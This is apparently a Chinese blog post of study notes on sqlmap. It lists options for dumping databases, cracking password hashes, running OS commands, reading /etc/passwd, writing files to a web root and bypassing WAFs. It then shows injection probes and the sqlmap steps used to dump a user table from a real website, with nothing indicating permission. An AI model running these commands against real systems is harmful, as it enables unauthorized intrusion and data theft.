LOFTER for ipad —— 让兴趣,更有趣

点击下载 关闭
学习笔记 | sqlmap常用命令
à ō é 2018-01-10

sqlmap,一款强大的注入工具,介绍、安装什么的,我就不多说了。

https://github.com/sqlmapproject/sqlmap      仓库地址

使用帮助(部分)

常用语句:

sqlmap.py -u "[URL]"   或  sqlmap.py -r "[数据请求包_path]"

--dbs                           //获取所有数据库

--current-db                //获取当前的数据库名

--current-user             //获取当前数据库的用户名

--tables                       //获取数据的所有表名

--tables -D [数据库名]                          //获取指定数据库中的所有表名

--column -T [表名] -D [数据库名]          //获取指定表中的列字段

--dump -C [列名] -T [表名] -D [数据库名]         //dump数据(可也 dump all)

--is-dba -v 1                            //查看当前数据库的用户是不是dba的权限

--password                             //爆数据库的密码(并自带有破哈希值的字典)

--dbms=mssql                       //指定数据库的类型(提高效率)

--data="POST参数"                //指定跑POST参数

-p "参数"              //指定跑URL中的具体参数(避免发送多余的测试数据)

–cookie="参数" --level=2       //跑cookie参数

--tamper encharcode.py        //加载sqlmap自带的字符加密脚本(有很多个)

–threads 10                            //指定sqlmap的线程

--cookie=COOKIE值              //加上用户的cookie(需要登录的网站)

--os-cmd=whoami                //执行系统命令(需一定条件)

--reg-read                             //读取win系统注册表

--level 1 --risk 1                    //指定级别和风险值(值越高测试的payload越多)

--time-sec=3                        //设定超时时间(单位 秒)

-v 3                                       //显示测试的payload(另外有[0-6] 7个等级)

-f                                           //指纹判别数据库类型 

–file-read “/etc/passwd”   //读取指定文件 

–file-write [localfile-path] –file-dest /var/www/html/xx.php      //写入文件 

--user-agent="I am good "   //伪装友好的浏览器和操作系统


这里拿我先前找到的一个存在SQL注入漏洞的网站进行简单的演示(敏感数据已打码)

目标URL:https://www.xxx.com/xx.xxx?id=5

手工检测SQL注入点,我们只需简单的两三条语句便可以检测其是否存在SQL注入

1. 在目标URL后加一个单引号,发现有SQL报错回显;

https://https://www.xxx.com/xx.xxx?id=5'

2. 分别在目标URL后面加上 and 1=1 和 and 1=2 进行访问,会发现显示页面不一样,也就说明有问题;

3. 也可以直接使用burpsuite等抓包工具对有参数提交的地方抓取其数据包,直接放sqlmap里面跑。


好了,既然发现SQL注入的问题存在了,开始进行注入

sqlmap.py -u https://www.xxx.com/xx.xxx?id=5

//使用sqlmap工具进行扫描,下面扫出了几个 Payload

sqlmap.py -u "https://www.xxx.com/xx.xxx?id=5"–dbs

//获取数据库

sqlmap.py -u "https://www.xxx.com/xx.xxx?id=5"--current-db

//获取当前数据库名

sqlmap.py -u "https://www.xxx.com/xx.xxx?id=5"--current-user

//获取当前数据库的用户名

sqlmap.py -u "https://www.xxx.com/xx.xxx?id=5"--tables

//获取数据库的表名

sqlmap.py -u "https://www.xxx.com/xx.xxx?id=5"--tables -D r3550c17g3

//获取指定数据库中的表名

sqlmap.py -u "" --columns -Tmanage_user -D r3550c17g3

//获取指定表中的列名

sqlmap.py -u "https://www.xxx.com/xx.xxx?id=5"--dump -C manage_name -T manage_user -D r3550c17g3

//获取指定列名中的字段

SQL注入,点到即止


扩展阅读

Windows下SQLMAP的安装图解

渗透工具用法(一):SQLmap 的用法

第1课:SQL注入原理深度解析

sql注入的一些技巧原理

sqlmap注入之tamper绕过WAF防火墙过滤


本文章还会继续完善,最后编辑于  2018/06/08

推荐文章
评论(0)
分享到
转载我的主页